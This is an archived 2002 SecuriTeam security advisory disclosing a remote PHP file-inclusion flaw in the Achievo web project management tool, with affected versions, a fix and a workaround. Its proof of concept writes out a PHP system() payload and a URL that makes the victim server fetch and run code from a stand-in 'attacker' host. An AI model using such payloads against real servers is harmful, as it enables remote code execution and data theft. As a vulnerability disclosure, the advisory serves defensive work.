

# [UNIX] Arbitrary Code Execution Problem in Achievo

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0096.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/25/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Sun, 25 Aug 2002 22:15:15 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Arbitrary Code Execution Problem in Achievo

---

## SUMMARY

<<http://www.achievo.org/>> Achievo is a web-based project management tool for business-environments. It has been found to be vulnerable to an arbitrary code execution attack.

This vulnerability allows an attacker to execute arbitrary PHP code under the permissions of the web server. The only condition is that the attacker must be able to store code on a server that is accessible by the web server. Unless the web server is behind a firewall that blocks outbound connections from the web server, this is usually not a problem.

The attacker does not need to have an account on the Achievo installation to be able to exploit this vulnerability.

## DETAILS

Vulnerable systems:

- \* Achievo version 0.9.1
- \* Achievo version 0.9.0
- \* Achievo version 0.8.1
- \* Achievo version 0.8.0

## Securiteam: [UNIX] Arbitrary Code Execution Problem in Achievo

- \* Achievo version 0.8.0 RC2
- \* Achievo version 0.8.0 RC1
- \* Achievo version 0.7.3
- \* Achievo version 0.7.2
- \* Achievo version 0.7.1
- \* Achievo version 0.7.0

Immune systems:

- \* Achievo version Achievo 0.8.2

Workaround / Solution:

A new stable version, Achievo 0.8.2, has been released which fixes this problem. A new development version should follow soon.

To work around the problem, remove the references to `$config_atkroot` in the `include_once` statements at the top of `tk/javascript/class.atkdateattribute.js.php`. This will include the requested files at the default location: two directories higher. An alternative solution is to replace the `chdir()` call by:

```
$config_atkroot = '../..';
```

At the top of `class.atkdateattribute.js.php`

Proof of Vulnerability:

The problem exists in `atk/javascript/class.atkdateattribute.js.php`, a PHP script that generates JavaScript code. This file contains a series of 5 `include_once` statements, to load configuration data and function libraries. The location of these files are apparently set by the `$config_atkroot`, a variable which is not set anywhere in the script.

This allows the attacker to specify `$config_atkroot` as a GET/POST/COOKIE variable and instruct the server to open a text file on a web server, and interpret that file as a PHP script.

For example: we create a text file containing the following line:

```
<?php system('ls'); ?>
```

And save this in a webroot somewhere (i.e. <http://attacker/ls.txt>).

We then open our browser and pass this URL, followed by a question mark, on to `class.atkdate.attribute.js.php`:

URL:

[http://victim/achievo/atk/javascript/class.atkdateattribute.js.php?config\\_atkroot=http://attacker/ls.txt?](http://victim/achievo/atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://attacker/ls.txt?)

The output of the 'ls' should be in the output of the PHP script. Note that the script is executed several times: once for every `include_once` statement. This is a relatively harmless example which only works on UNIX, Windows installations require a `<?php system('dir'); ?>`. A malicious attacker can insert any code in the text file, instructing the server to

## Securiteam: [UNIX] Arbitrary Code Execution Problem in Achievo

read configuration or password files, execute database queries, or even remove files (within the limits of the web server's permissions).

### ADDITIONAL INFORMATION

The information has been provided by <mailto:[jlatour@calaquendi.net](mailto:jlatour@calaquendi.net)>  
Jeroen Latour.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] Vulnerability Report for Windows SMB DoS"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)